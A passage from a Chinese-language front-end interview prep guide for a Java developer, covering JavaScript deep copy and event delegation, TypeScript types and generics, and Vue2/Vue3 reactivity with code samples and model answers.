答:(先口述区别,再写代码,见上) 防抖场景: 搜索框联想输入(停止输入才请求)、表单校验(停止输入才校验)、窗口 resize(停止调整才重算布局)。 节流场景: 滚动加载(滚动中固定频率检查是否到底)、按钮防重复提交、大屏高频数据刷新限流、鼠标移动事件。 关键点: 两者都用闭包保存定时器/时间戳;都要用 fn.apply(this, args) 保留 this 指向和参数;防抖是“重置计时”,节流是“限制频率”。


1.9 深浅拷贝

// 浅拷贝:只复制第一层,嵌套的引用类型还是共享同一个地址
const obj = { name: '张三', address: { city: '上海' } };

// 浅拷贝方式
const c1 = Object.assign({}, obj);
const c2 = { ...obj };                    // 扩展运算符
const arrCopy = [...arr];                 // 数组浅拷贝

c1.name = '李四';                          // 不影响原对象(第一层是值传递)
c1.address.city = '北京';                   // ⚠️ 原对象也变了!address 是共享引用
console.log(obj.address.city);            // '北京' ← 被改了!

// 深拷贝方式1:JSON 序列化(最简单,但有硬伤)
const deep1 = JSON.parse(JSON.stringify(obj));
// ❌ 硬伤:① 丢失 undefined、function、Symbol
//        ② 无法处理循环引用(报错)
//        ③ Date 变成字符串、RegExp 变成 {}
//        ④ NaN/Infinity 变成 null

// 深拷贝方式2:structuredClone(现代浏览器原生,推荐)
const deep2 = structuredClone(obj);
// ✅ 支持循环引用、Date、Map、Set、ArrayBuffer
// ❌ 不支持 function、DOM 节点;Node 17+ / 现代浏览器可用

// 深拷贝方式3:手写递归(面试考这个)
function deepClone(target, cache = new WeakMap()) {
  // ① 处理原始类型和 null
  if (target === null || typeof target !== 'object') return target;

  // ② 处理循环引用(关键!否则栈溢出)
  if (cache.has(target)) return cache.get(target);

  // ③ 特殊类型处理
  if (target instanceof Date) return new Date(target);
  if (target instanceof RegExp) return new RegExp(target);

  // ④ 数组/对象分开处理,保持原型
  const clone = Array.isArray(target) ? [] : Object.create(Object.getPrototypeOf(target));
  cache.set(target, clone);               // 先存再递归,解决循环引用

  // ⑤ 递归拷贝每个属性(含 Symbol key)
  for (const key of Reflect.ownKeys(target)) {
    clone[key] = deepClone(target[key], cache);
  }
  return clone;
}

// 测试循环引用
const a = { name: 'a' };
a.self = a;                               // 循环引用
const cloned = deepClone(a);              // ✅ 不报错(JSON 方式会报错)
console.log(cloned.self === cloned);      // true(保持循环结构)

面试题 ⭐⭐⭐⭐:手写深拷贝,如何处理循环引用?

答: 用 WeakMap 作为缓存(哈希记忆):每次拷贝对象前先存进 WeakMap,递归时如果发现对象已经在缓存里就直接返回缓存的副本,从而打断循环引用链。用 WeakMap 而不是 Map 是因为 WeakMap 是弱引用,不会阻止对象被 GC 回收。 另外要单独处理 Date、RegExp 等特殊类型,以及用 Reflect.ownKeys 保证 Symbol 类型的 key 也被拷贝。


1.10 DOM 事件机制(冒泡与捕获)

        ┌─────────────────────────────────────┐
        │         document                    │
        │   ┌───────────────────────────┐     │
        │   │        html               │     │
        │   │   ┌───────────────────┐   │     │
        │   │   │      body         │   │     │
        │   │   │  ┌─────────────┐  │   │     │
        │   │   │  │    div      │  │   │     │
        │   │   │  │  ┌───────┐  │  │   │     │
        │   │   │  │  │ button│  │  │   │     │  ← 点击这里
        │   │   │  │  └───────┘  │  │   │     │
        │   │   │  └─────────────┘  │   │     │
        │   │   └───────────────────┘   │     │
        │   └───────────────────────────┘     │
        └─────────────────────────────────────┘

事件传播三阶段:
  ① 捕获阶段(Capture):document → html → body → div → button(从上往下)
  ② 目标阶段(Target):  到达 button
  ③ 冒泡阶段(Bubble):  button → div → body → html → document(从下往上)

★ addEventListener 第三个参数:
  false(默认)= 冒泡阶段触发
  true          = 捕获阶段触发
const btn = document.querySelector('#btn');

// 冒泡(默认)
btn.addEventListener('click', handler);              // 或 handler, false
// 捕获
btn.addEventListener('click', handler, true);

// 阻止冒泡:不让事件继续往上传
btn.addEventListener('click', e => {
  e.stopPropagation();               // 只阻止冒泡(后续同元素监听器仍执行)
  // e.stopImmediatePropagation();   // 更强:连当前元素后续监听器也阻止
});

// 阻止默认行为:比如阻止 a 标签跳转、表单提交
link.addEventListener('click', e => {
  e.preventDefault();                // 不跳转
});

事件委托(Event Delegation)—— 性能优化常用

原理: 利用事件冒泡,把子元素的事件监听统一绑到父元素上,通过 e.target 判断是哪个子元素触发的。

// ❌ 低效:1000 个列表项绑 1000 个监听器(内存占用大)
document.querySelectorAll('.list-item').forEach(item => {
  item.addEventListener('click', () => console.log(item.dataset.id));
});

// ✅ 高效:只在父元素绑 1 个监听器,利用冒泡
document.querySelector('.list').addEventListener('click', e => {
  // e.target 是实际点击的元素,可能是 li 内部的 span
  const item = e.target.closest('.list-item');   // 向上找最近的 .list-item
  if (!item) return;                              // 点空白处,忽略
  console.log(item.dataset.id);
});

// ✅ 额外好处:动态新增的列表项自动拥有点击事件,无需重新绑定!
// (你的指令列表、文档列表都用得上)

你的项目举例(资产托管指令列表):

// 万级指令列表,每行有"查看/复核/作废"按钮 → 用事件委托,只绑一个监听器
document.querySelector('#instruction-table-body').addEventListener('click', e => {
  const btn = e.target.closest('[data-action]');
  if (!btn) return;
  const { action, id } = btn.dataset;    // data-action="review" data-id="123"
  switch (action) {
    case 'view':   viewInstruction(id); break;
    case 'review': reviewInstruction(id); break;
    case 'cancel': cancelInstruction(id); break;
  }
});

面试题 ⭐⭐⭐⭐:什么是事件委托?有什么好处?

答: 利用事件冒泡,把子元素的事件监听统一绑定到父元素上,通过 e.target(配合 closest())判断实际触发元素。 两个好处: ① 省内存——1000 个列表项只需 1 个监听器而不是 1000 个;② 支持动态元素——后续通过 JS 新增的列表项自动拥有事件响应,不需要重新绑定(这点在虚拟滚动/分页加载场景特别有用)。 注意: 不是所有事件都能委托(focus、blur 不冒泡,要用 focusin/focusout 代替)。


1.11 ES6+ 常用特性速览

// ① 解构赋值(你的项目里到处都是)
const { code, data, message } = response.data;      // 对象解构 + 重命名
const { data: docList = [] } = response.data;       // 默认值
const [first, ...rest] = docList;                   // 数组解构

// ② 模板字符串
const url = `/api/documents/${id}?type=${type}`;

// ③ 可选链 + 空值合并(ES2020,处理后端返回的 null 特别好用)
const city = user?.address?.city;                   // 中间有 null/undefined 返回 undefined,不报错
const name = user.name ?? '匿名';                   // 只有 null/undefined 才用默认值
// ⚠️ 注意 ?? 和 || 的区别:|| 对 0、''、false 也会取默认值
const count = 0;
console.log(count || 10);   // 10 ← 0 被当成假值,可能不是你要的
console.log(count ?? 10);   // 0  ← ✅ 正确

// ④ 箭头函数(注意:没有自己的 this、不能 new、没有 arguments)
const double = n => n * 2;
const getDocs = async () => (await fetch('/api/docs')).json();

// ⑤ 扩展运算符(浅拷贝、合并、函数参数)
const newState = { ...oldState, loading: false };
const merged = [...arr1, ...arr2];
Math.max(...numbers);

// ⑥ 数组方法(函数式,替代 for 循环)
const docs = [{id:1,name:'a',size:100},{id:2,name:'b',size:200}];
docs.map(d => d.name)                       // ['a','b'] 映射
docs.filter(d => d.size > 150)              // [{id:2,...}] 过滤
docs.find(d => d.id === 1)                  // {id:1,...} 找第一个
docs.some(d => d.size > 150)                // true 有任一满足
docs.every(d => d.size > 50)                // true 全部满足
docs.reduce((sum, d) => sum + d.size, 0)    // 300 聚合
docs.flatMap(d => d.tags)                   // 映射后拉平一层
Array.from(new Set(docs.map(d=>d.id)))      // 去重

// ⑦ 对象方法
Object.entries(obj)      // [['name','张三'],['age',18]] 遍历用
Object.fromEntries(arr)  // 反向
Object.keys/values(obj)

// ⑧ Map / Set(比 Object/Array 更适合做查找和去重)
const docMap = new Map(docs.map(d => [d.id, d]));   // O(1) 按 id 查
docMap.get(1);
const uniqueTypes = new Set(docs.map(d => d.type)); // 自动去重

面试题 ⭐⭐⭐:?? 和 || 的区别?

答: || 对所有假值(0、''、false、null、undefined、NaN)都取右侧默认值;??(空值合并运算符,ES2020)只在 null 或 undefined 时取右侧。 实际影响:后端返回 count: 0 或 name: '' 时,|| 会错误地用默认值覆盖,而 ?? 能正确保留。处理后端数据时推荐用 ??。


第一章 面试题汇总

# 题目 难度
1 说说 JS 的数据类型,typeof null 为什么是 object? ⭐⭐⭐
2 什么是原型链?手写 instanceof ⭐⭐⭐⭐⭐
3 new 一个对象的过程发生了什么? ⭐⭐⭐⭐
4 什么是闭包?优缺点?实际用途? ⭐⭐⭐⭐
5 this 有几种绑定方式?优先级? ⭐⭐⭐⭐
6 手写 call / apply / bind ⭐⭐⭐⭐⭐
7 说说事件循环(同步/微任务/宏任务执行顺序) ⭐⭐⭐⭐⭐
8 给出一段含 setTimeout/Promise/async 的代码,说出输出顺序 ⭐⭐⭐⭐⭐
9 Promise.all / race / allSettled / any 的区别和场景 ⭐⭐⭐⭐
10 手写防抖和节流,说明应用场景 ⭐⭐⭐⭐⭐
11 手写深拷贝,如何处理循环引用? ⭐⭐⭐⭐
12 什么是事件委托?原理和好处? ⭐⭐⭐⭐
13 说说盒模型,box-sizing 两个值的区别 ⭐⭐⭐
14 什么是 BFC?怎么触发?解决什么问题? ⭐⭐⭐
15 CSS 选择器优先级怎么算? ⭐⭐⭐
16 Flex 和 Grid 怎么选? ⭐⭐⭐
17 ?? 和 `
18 事件传播的三个阶段?如何阻止冒泡? ⭐⭐⭐


第二章:TypeScript(类型系统)

你简历技能清单第 11 条写了「熟悉 TypeScript 类型系统」,项目一、二技术栈都含 TS。作为 Java 后端,TS 对你其实是降维打击——大部分概念和 Java 泛型一脉相承。

2.1 TS 是什么?为什么要用(后端视角)

小白讲解: TypeScript = JavaScript + 静态类型。写的时候标注类型,编译期就能发现错误,而不是等运行时报 undefined is not a function。

后端类比(一下子就懂):

概念 Java TypeScript
类型检查时机 编译期(javac) 编译期(tsc),运行时已擦除
类型擦除 ✅ 泛型擦除 ✅ 编译成 JS 后类型全没了
接口 interface User {} interface User {}(几乎一样)
泛型 List<T> Array<T> / Promise<T>
可选属性 无(用 null 表示) name?: string(相当于 string | undefined)
联合类型 无(要写重载) string | number(原生支持)
类型别名 无 type ID = string | number

核心价值(面试话术): “我们前后端都用 TS,最大的收益是接口契约类型化——后端 Swagger 定义的返回结构,前端直接生成对应的 interface,字段改名或类型变更时前端编译期就报错,不会出现上线后 undefined 的线上事故。另外 IDE 自动补全和重构也快很多。”

2.2 基础类型速查

// 原始类型(小写,区别于 Java 的包装类)
let name: string = 'zhangsan';
let age: number = 28;
let active: boolean = true;
let u: undefined = undefined;
let n: null = null;

// 数组两种写法
let ids: number[] = [1, 2, 3];
let names: Array<string> = ['a', 'b'];      // 泛型写法,和 Java 更像

// 元组:固定长度和类型的数组
let point: [number, number] = [10, 20];
let record: [string, number, boolean] = ['指令A', 100, true];

// 枚举(编译后是对象)
enum InstructionStatus {
  DRAFT = 'DRAFT',           // 草稿
  REVIEWING = 'REVIEWING',   // 复核中
  APPROVED = 'APPROVED',     // 已审核
  PAID = 'PAID',             // 已出款
  CANCELLED = 'CANCELLED'    // 已作废
}
// 你的资产托管项目 12 种指令状态就用这个管

// 特殊类型
let anyVal: any = '什么都能赋值';      // ❌ 关闭类型检查,尽量别用
let unknownVal: unknown = getData();   // ✅ 安全的 any,用前必须先判断类型
let nothing: void = undefined;         // 函数无返回值
let neverVal: never;                   // 永不存在的值(如抛异常的函数返回类型)

any vs unknown(面试常问):

let a: any = 'hello';
a.toUpperCase();        // ✅ 编译通过(any 关闭检查,运行时才可能报错)
a.foo.bar();            // ✅ 也编译通过 ← 危险!

let u: unknown = 'hello';
u.toUpperCase();        // ❌ 编译报错:unknown 不能直接调用方法
if (typeof u === 'string') {
  u.toUpperCase();      // ✅ 类型收窄后可以用
}
// 结论:接收外部数据(接口返回、JSON.parse)用 unknown,强制自己做类型校验

2.3 interface vs type(高频)

// interface:定义对象结构(可扩展、可继承)
interface User {
  id: number;
  name: string;
  email?: string;              // 可选属性(相当于 string | undefined)
  readonly createdAt: Date;    // 只读,初始化后不能改
}

// interface 可以声明合并(同名自动合并)← type 做不到
interface User {
  phone?: string;              // 自动合并进上面的 User
}
// 现在 User 有 id/name/email/createdAt/phone 五个字段

// interface 可以 extends 继承
interface Admin extends User {
  permissions: string[];
}

// type:类型别名,能表达 interface 表达不了的类型
type ID = string | number;                          // 联合类型
type Status = 'pending' | 'success' | 'failed';     // 字面量联合(类似枚举但更轻)
type Callback = (data: string) => void;             // 函数类型
type Point2D = [number, number];                    // 元组
type UserMap = Record<string, User>;                // 映射类型

// type 的交叉类型(&)实现类似继承的效果
type AdminUser = User & { permissions: string[] };

选型建议(面试答案):

场景 选择 理由
定义对象结构(DTO、接口返回) interface 可扩展、可声明合并、错误信息更友好
联合类型、字面量类型、函数类型、元组 type interface 表达不了
需要 extends 继承 interface 语义更清晰
需要 & 交叉、条件类型、映射类型 type 更灵活
团队规范 优先 interface,表达不了再用 type 官方推荐

2.4 泛型(Java 后端最熟悉的部分)

// 泛型函数:类型参数化
function identity<T>(value: T): T {
  return value;
}
identity<string>('hello');    // 显式指定
identity(123);                // 自动推断为 number

// 泛型接口(你的项目:统一响应体)
interface Result<T> {
  code: number;
  message: string;
  data: T;                    // data 的类型由调用方决定
  timestamp: number;
}

// 使用:同一个 Result,data 类型不同
type DocListResult = Result<Document[]>;
type UserResult = Result<User>;
type PageResult<T> = Result<{ list: T[]; total: number }>;   // 嵌套泛型

// 泛型约束(extends):限制 T 必须有某些属性
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}
getProperty({ name: '张三', age: 18 }, 'name');   // ✅ '张三'
getProperty({ name: '张三', age: 18 }, 'email');  // ❌ 编译报错:email 不是 key

// 泛型类
class PaginatedList<T> {
  private items: T[] = [];
  add(item: T): void { this.items.push(item); }
  get(index: number): T | undefined { return this.items[index]; }
}
const docPage = new PaginatedList<Document>();

// 泛型默认类型
interface ApiResponse<T = any> {
  data: T;
}

你的项目实战:封装 Axios 请求(类型安全)

// api/request.ts —— 后端返回统一结构 Result<T>
import axios, { AxiosInstance, AxiosResponse } from 'axios';

// 后端统一响应体(和 Java 的 Result<T> 一一对应)
export interface Result<T = any> {
  code: number;
  message: string;
  data: T;
}

// 分页结构(对应后端 PageHelper / MyBatis-Plus IPage)
export interface PageData<T> {
  list: T[];
  total: number;
  pageNum: number;
  pageSize: number;
}

const request: AxiosInstance = axios.create({
  baseURL: '/api',
  timeout: 30000
});

// 泛型封装:调用时指定 T,返回 data 直接是 T 类型,不用到处 as 断言
export async function get<T>(url: string, params?: any): Promise<T> {
  const resp: AxiosResponse<Result<T>> = await request.get(url, { params });
  if (resp.data.code !== 200) {
    throw new Error(resp.data.message);
  }
  return resp.data.data;         // ← 类型是 T,IDE 自动补全字段
}

export async function post<T>(url: string, data?: any): Promise<T> {
  const resp: AxiosResponse<Result<T>> = await request.post(url, data);
  if (resp.data.code !== 200) throw new Error(resp.data.message);
  return resp.data.data;
}

// ---- 使用层:类型一路推导,零断言 ----
interface Document {
  id: number;
  fileName: string;
  fileSize: number;
  status: 'PARSING' | 'DONE' | 'FAILED';
  createdAt: string;
}

// 查列表:返回 Promise<PageData<Document>>
const page = await get<PageData<Document>>('/documents', { pageNum: 1, pageSize: 20 });
page.list[0].fileName;      // ✅ IDE 自动补全,写错字段名编译期报错
page.list[0].fileNamee;     // ❌ 编译报错:属性不存在!

面试话术(这段很有价值): “我们项目用泛型封装了 Axios,后端统一返回 Result<T>,前端定义同名泛型接口对应。这样调接口时指定 get<PageData<Document>>(),返回的 data 直接就是强类型,字段写错编译期就报错——前后端靠类型对齐,比口头约定可靠得多。”

2.5 常用工具类型(Utility Types)

interface Document {
  id: number;
  fileName: string;
  fileSize: number;
  status: string;
  createdAt: string;
  updatedAt: string;
}

// Partial<T>:所有属性变可选(用于"更新"接口,只传要改的字段)
type DocumentUpdate = Partial<Document>;
// { id?: number; fileName?: string; ... }
function updateDoc(id: number, patch: DocumentUpdate) {}
updateDoc(1, { fileName: '新名字' });      // ✅ 只传一个字段

// Pick<T, K>:挑出部分属性
type DocBrief = Pick<Document, 'id' | 'fileName'>;
// { id: number; fileName: string }

// Omit<T, K>:排除部分属性
type DocCreate = Omit<Document, 'id' | 'createdAt' | 'updatedAt'>;
// 创建时不需要 id 和时间戳(后端生成)

// Required<T>:所有属性变必填
// Readonly<T>:所有属性变只读

// Record<K, V>:定义键值映射(后端:Map<K,V>)
type StatusColorMap = Record<'PARSING' | 'DONE' | 'FAILED', string>;
const statusColors: StatusColorMap = {
  PARSING: '#909399',
  DONE: '#67c23a',
  FAILED: '#f56c6c'
};

// ReturnType<T>:取函数返回类型
// 实用场景:复用后端接口定义的返回类型,避免重复声明
async function fetchDocs() { return get<PageData<Document>>('/documents'); }
type DocsResult = Awaited<ReturnType<typeof fetchDocs>>;   // PageData<Document>

// Awaited<T>:展开 Promise(上面用到了)
type Unwrapped = Awaited<Promise<Document[]>>;   // Document[]

2.6 类型守卫与类型收窄

// 场景:后端返回的 data 可能是多种类型,需要判断后分别处理

// ① typeof 守卫
function print(value: string | number) {
  if (typeof value === 'string') {
    console.log(value.toUpperCase());    // 这里 value 已被收窄为 string
  } else {
    console.log(value.toFixed(2));       // 这里收窄为 number
  }
}

// ② instanceof 守卫
if (error instanceof Error) {
  console.log(error.message);
}

// ③ in 操作符守卫(按属性是否存在区分)
interface SuccessResp { code: 200; data: any }
interface ErrorResp { code: number; message: string }
function handle(resp: SuccessResp | ErrorResp) {
  if ('data' in resp) {
    return resp.data;          // 收窄为 SuccessResp
  }
  return resp.message;         // 收窄为 ErrorResp
}

// ④ 自定义类型谓词(is 关键字)—— 最强大
interface Doc { type: 'doc'; fileName: string }
interface Image { type: 'img'; url: string }
function isDoc(item: Doc | Image): item is Doc {
  return item.type === 'doc';
}
const items: (Doc | Image)[] = getItems();
items.filter(isDoc).forEach(d => console.log(d.fileName));  // d 类型是 Doc ✅

// ⑤ 可辨识联合(Discriminated Union)—— 配合 switch 穷尽检查
type Action =
  | { type: 'ADD_DOC'; payload: Document }
  | { type: 'DELETE_DOC'; payload: number }
  | { type: 'CLEAR' };
function reducer(action: Action) {
  switch (action.type) {
    case 'ADD_DOC': return action.payload.fileName;   // payload 收窄为 Document
    case 'DELETE_DOC': return action.payload;          // payload 收窄为 number
    case 'CLEAR': return null;
    default:
      // 穷尽检查:如果 Action 新增了类型但这里没处理,编译报错
      const _exhaustive: never = action;
      return _exhaustive;
  }
}

2.7 TypeScript 在 Vue3 中的写法

<script setup lang="ts">
import { ref, computed, reactive } from 'vue';

// ① 定义接口 DTO
interface ChatMessage {
  id: string;
  role: 'user' | 'assistant';
  content: string;
  sources?: SourceRef[];        // 溯源引用(可选)
}
interface SourceRef {
  docId: number;
  docName: string;
  snippet: string;
}

// ② ref 加泛型
const messages = ref<ChatMessage[]>([]);      // Ref<ChatMessage[]>
const loading = ref<boolean>(false);
const currentDoc = ref<Document | null>(null); // 可能为 null

// ③ reactive 加泛型
const chatState = reactive<{
  generating: boolean;
  errorMsg: string;
}>({
  generating: false,
  errorMsg: ''
});

// ④ props 类型化(defineProps 支持泛型)
interface Props {
  docId: number;
  title?: string;
  readonly?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
  title: '未命名文档',
  readonly: false
});

// ⑤ emit 类型化
const emit = defineEmits<{
  (e: 'update:docId', id: number): void;
  (e: 'delete', id: number, reason: string): void;
  (e: 'close'): void;
}>();
emit('delete', 1, '内容过期');        // ✅ 参数类型和数量都被检查
emit('delete', 1);                   // ❌ 编译报错:缺少参数

// ⑥ computed 自动推导类型
const messageCount = computed(() => messages.value.length);   // ComputedRef<number>

// ⑦ 函数参数和返回值
async function loadMessages(docId: number): Promise<void> {
  const data = await get<ChatMessage[]>(`/documents/${docId}/messages`);
  messages.value = data;
}
</script>

2.8 前后端类型对齐实践(简历可讲的亮点)

问题: 后端改了字段名,前端不知道,上线后 undefined。

解决方案(三层递进):

// 方案1(基础):手写 interface 与后端 DTO 一一对应,靠 code review 保证
interface InstructionDTO {
  instructionId: number;
  instructionType: string;
  amount: number;          // ⚠️ 注意:Java BigDecimal 序列化成 JSON 是 number
  status: string;
}

// 方案2(进阶):用 openapi-typescript 从 Swagger JSON 自动生成类型
// npx openapi-typescript http://localhost:8080/v3/api-docs -o src/types/api.d.ts
// 生成后直接用:
import type { components } from '@/types/api';
type InstructionDTO = components['schemas']['InstructionDTO'];
// 后端改字段 → 重新生成 → 前端编译期报错 → 立刻发现

// 方案3(团队协作):把类型生成加进 CI,接口变更时前端编译失败即拦截

⚠️ 后端转全栈必踩的坑:金额精度

// Java BigDecimal 序列化成 JSON 是 number,但 JS number 是双精度浮点
// 大额金额可能精度丢失!
const amount = 1234567890123456.78;
console.log(amount);   // 1234567890123456.8 ← 精度丢失!

// 解决:后端把金额序列化成 String,前端用字符串接收,展示时用 Intl 格式化
interface InstructionDTO {
  amount: string;        // 后端 @JsonSerialize(using = ToStringSerializer.class)
}
new Intl.NumberFormat('zh-CN', {
  style: 'currency', currency: 'CNY'
}).format(Number(amount));

面试话术: “我们项目金额字段后端用 BigDecimal,序列化成 JSON 时统一转成 String 传给前端,避免 JS 双精度浮点在大额场景下丢精度——这个坑在资产托管这种资金类系统里必须注意。”


第二章 面试题汇总

# 题目 难度
1 TypeScript 相比 JavaScript 有什么优势? ⭐⭐⭐
2 interface 和 type 的区别?什么时候用哪个? ⭐⭐⭐⭐
3 any 和 unknown 的区别? ⭐⭐⭐⭐
4 说说泛型,举一个你项目中的实际应用 ⭐⭐⭐⭐
5 Partial / Pick / Omit / Record 分别做什么? ⭐⭐⭐⭐
6 什么是类型守卫?有哪几种方式? ⭐⭐⭐⭐
7 前端如何处理后端 BigDecimal 金额精度问题? ⭐⭐⭐⭐
8 如何保证前后端接口类型一致? ⭐⭐⭐⭐
9 TS 的类型是什么时候被擦除的?运行时还有类型吗? ⭐⭐⭐
10 keyof、typeof、Awaited 这些操作符用过吗? ⭐⭐⭐

第三章:Vue3 核心与原理

3.1 Vue 是什么?声明式 vs 命令式

小白讲解:

  • jQuery(命令式):拿到数据 → 手动找 DOM → 手动塞进去。你告诉浏览器“怎么做”。
  • Vue(声明式):声明“页面长什么样由数据决定”,你只改数据,Vue 负责更新 DOM。你告诉浏览器“要什么”。
<!-- 命令式(jQuery 思维) -->
<div id="counter">0</div>
<script>
  let count = 0;
  $('#counter').text(count);              // 手动操作 DOM
  $('button').on('click', () => {
    count++;
    $('#counter').text(count);            // 每次都要手动同步
  });
</script>

<!-- 声明式(Vue 思维) -->
<button @click="count++">点了 {{ count }} 次</button>
<!-- count 是响应式数据,变了界面自动更新,零 DOM 操作 -->

核心思想:数据驱动视图。改状态(数据),不动 DOM。

MVVM 模式:

        ┌──────────────┐
        │     View     │  视图层:用户看到的页面(template)
        │   (页面)     │
        └──────┬───────┘
               │ 数据绑定(Data Binding)
               │ 双向:① 数据→视图(自动渲染)② 视图→数据(v-model 输入)
        ┌──────▼───────────────────────┐
        │      ViewModel(Vue 实例)     │  ← Vue 的核心,负责监听和转发
        │  · 监听 Model 变化 → 更新 View │
        │  · 监听 View 输入 → 更新 Model │
        └──────┬───────────────────────┘
               │
        ┌──────▼───────┐
        │     Model    │  数据层:JS 对象(data / ref / reactive)
        │   (数据)     │
        └──────────────┘

3.2 响应式原理(核心中的核心)

Vue2:Object.defineProperty

// Vue2 的做法:遍历对象每个属性,用 defineProperty 劫持 getter/setter
function defineReactive(obj, key, val) {
  Object.defineProperty(obj, key, {
    get() {
      console.log(`读取 ${key} → 收集依赖(谁用了我)`);
      return val;
    },
    set(newVal) {
      if (newVal === val) return;
      console.log(`修改 ${key} → 派发更新(通知用到的地方刷新)`);
      val = newVal;
      // dep.notify() → 触发视图更新
    }
  });
}

const data = { count: 0, name: '张三' };
Object.keys(data).forEach(key => defineReactive(data, key, data[key]));

// 简化版 observe:递归处理嵌套对象
function observe(obj) {
  if (typeof obj !== 'object' || obj === null) return;
  Object.keys(obj).forEach(key => {
    defineReactive(obj, key, obj[key]);
    observe(obj[key]);              // 递归子对象
  });
}

Vue2 的四个硬伤(面试必答):

// ① 新增属性不响应
const vm = new Vue({ data: { user: { name: '张三' } } });
vm.user.age = 18;              // ❌ 视图不更新!age 没被 defineProperty 劫持
vm.$set(vm.user, 'age', 18);   // ✅ 必须用 $set

// ② 删除属性不响应
delete vm.user.name;           // ❌ 不更新
vm.$delete(vm.user, 'name');   // ✅

// ③ 数组下标赋值 / 修改 length 不响应
vm.list[0] = '新值';           // ❌ 不更新
vm.list.length = 0;            // ❌ 不更新
vm.$set(vm.list, 0, '新值');   // ✅
vm.list.splice(0, 1, '新值');  // ✅ 或 push/pop/shift/unshift/splice/sort/reverse(Vue2 重写过这些)

// ④ 性能:初始化时递归遍历所有属性,对象越大越慢
// (因为要一次性把每个属性都 defineProperty)

Vue3:Proxy

// Vue3 的做法:代理整个对象,任何操作都能拦截
const data = { count: 0, user: { name: '张三' } };

const proxy = new Proxy(data, {
  get(target, key, receiver) {
    console.log(`读取 ${String(key)}`);
    track(target, key);                    // 依赖收集
    const result = Reflect.get(target, key, receiver);
    // 懒代理:只有访问到嵌套对象时才递归代理(性能提升点!)
    return typeof result === 'object' && result !== null
      ? reactive(result)
      : result;
  },
  set(target, key, value, receiver) {
    console.log(`修改 ${String(key)} = ${value}`);
    const success = Reflect.set(target, key, value, receiver);
    trigger(target, key);                  // 派发更新
    return success;
  },
  deleteProperty(target, key) {            // ← Vue2 做不到!
    console.log(`删除 ${String(key)}`);
    const success = Reflect.deleteProperty(target, key);
    trigger(target, key);
    return success;
  },
  has(target, key) {                       // 拦截 key in obj
    track(target, key);
    return Reflect.has(target, key);
  },
  ownKeys(target) {                        // 拦截 Object.keys / for...in
    track(target, 'iterate');
    return Reflect.ownKeys(target);
  }
});

// Vue3 全部搞定:
proxy.newProp = '值';        // ✅ 新增属性响应
delete proxy.count;          // ✅ 删除属性响应
proxy.list[0] = '新值';      // ✅ 数组下标响应
proxy.list.length = 0;       // ✅ length 响应

依赖收集的完整链路(画出来说很加分)

模板渲染 → 读取数据(触发 get)→ 收集依赖(谁在用这个数据)
                                        ↓
                              ┌──────────────────────┐
                              │   Dep / targetMap     │
                              │  WeakMap {            │
                              │    target对象 → Map { │
                              │      key → Set[effect]│  ← effect 就是"用到这个数据的渲染函数"
                              │    }                  │
                              │  }                    │
                              └──────────────────────┘
                                        ↓
数据修改(触发 set)→ 从 targetMap 找到对应的 effect 集合 → 全部重新执行 → 视图更新

★ 三层映射结构:
  WeakMap<target, Map<key, Set<effect>>>
  为什么用 WeakMap?→ 对象被回收时,对应的依赖关系自动释放,不内存泄漏

面试题 ⭐⭐⭐⭐⭐:Vue2 和 Vue3 响应式原理的区别?

答: Vue2 用 Object.defineProperty 逐个属性劫持 getter/setter,Vue3 用 Proxy 代理整个对象。 具体差异四点: ① 新增/删除属性:Vue2 检测不到(要 $set/$delete),Proxy 有 set/deleteProperty 拦截器,天然支持。 ② 数组:Vue2 检测不到下标赋值和 length 修改(要重写 7 个数组方法),Proxy 全部能拦截。 ③ 性能:Vue2 初始化时递归遍历所有属性做劫持,对象大时慢;Vue3 是懒代理——只有访问到嵌套对象时才递归,且 Proxy 是原生 API,性能更好。 ④ 数据结构:Vue2 不支持 Map/Set,Vue3 支持。 补充:Vue2 有 $set 是因为 defineProperty 的限制,Vue3 里这个概念被移除了。

3.3 ref vs reactive(Vue3 最容易混的 API)

import { ref, reactive, toRefs } from 'vue';

// ref:包装任意类型(基本类型必须用它)
const question = ref('');                    // Ref<string>
question.value = '什么是头寸?';              // script 里必须 .value
// 模板里自动解包:<div>{{ question }}</div>  不用 .value

// ref 包对象也可以,内部会自动转成 reactive
const chatState = ref({ loading: false });
chatState.value.loading = true;              // 注意要 .value.loading

// reactive:只包装对象/数组
const state = reactive({
  messages: [],
  loading: false,
  currentAnswer: ''
});
state.loading = true;                        // 直接改,不用 .value

// ⚠️ reactive 的坑:不能整体替换,会丢失响应式
let s = reactive({ count: 0 });
s = { count: 1 };                            // ❌ s 不再是响应式对象
Object.assign(s, { count: 1 });              // ✅ 正确:逐属性赋值

// ⚠️ 解构会丢失响应式
const { loading } = state;                   // ❌ loading 是普通布尔值,不响应
// 解决:用 toRefs
const { loading: loadingRef } = toRefs(state);   // ✅ 保持响应式
loadingRef.value;                            // 需要 .value

// ⚠️ 把 reactive 的属性传给函数也会丢失响应式
function logLoading(loading) { /* 拿到的是快照值 */ }
logLoading(state.loading);                   // ❌ 传的是值不是引用
对比 ref reactive
支持类型 任意(基本类型必须用它) 仅对象/数组
访问方式 .value(模板自动解包) 直接点属性
重新赋值 x.value = 新值 ✅ 整体替换丢失响应式 ❌
解构 需要 .value 需要 toRefs 包裹
推荐场景 基本类型、需要整体替换的对象 一组逻辑相关的数据(表单对象)

记忆口诀: “基本类型用 ref,对象用 reactive;要整体替换就只能用 ref;要解构就用 toRefs。”

你的 RAG 项目举例:

// 对话列表用 ref —— 因为 SSE 流式要不断 push / 整体替换
const messages = ref([]);
messages.value.push(newMsg);          // push 安全
messages.value = [];                  // 清空(整体替换)也安全 ✅

// 单条消息的内部状态用 reactive
const currentStream = reactive({
  content: '',      // 正在流式生成的文本
  done: false,      // 是否生成完毕
  sources: []       // 溯源引用
});
currentStream.content += token;       // 直接改 ✅

3.4 computed、watch、watchEffect

import { ref, computed, watch, watchEffect, reactive } from 'vue';

const question = ref('');
const messages = ref([]);
const docId = ref(1);
const loading = ref(false);

// ① computed:由已有数据算出新值(有缓存,依赖不变不重算)
const charCount = computed(() => question.value.length);
const canSend = computed(() =>
  question.value.trim().length > 0 && !loading.value
);
// 带 getter/setter 的 computed
const firstName = ref('');
const lastName = ref('');
const fullName = computed({
  get: () => `${firstName.value} ${lastName.value}`,
  set: (val) => { [firstName.value, lastName.value] = val.split(' '); }
});

// ② watch:监听特定数据变化,执行副作用(调接口)
watch(docId, async (newId, oldId) => {
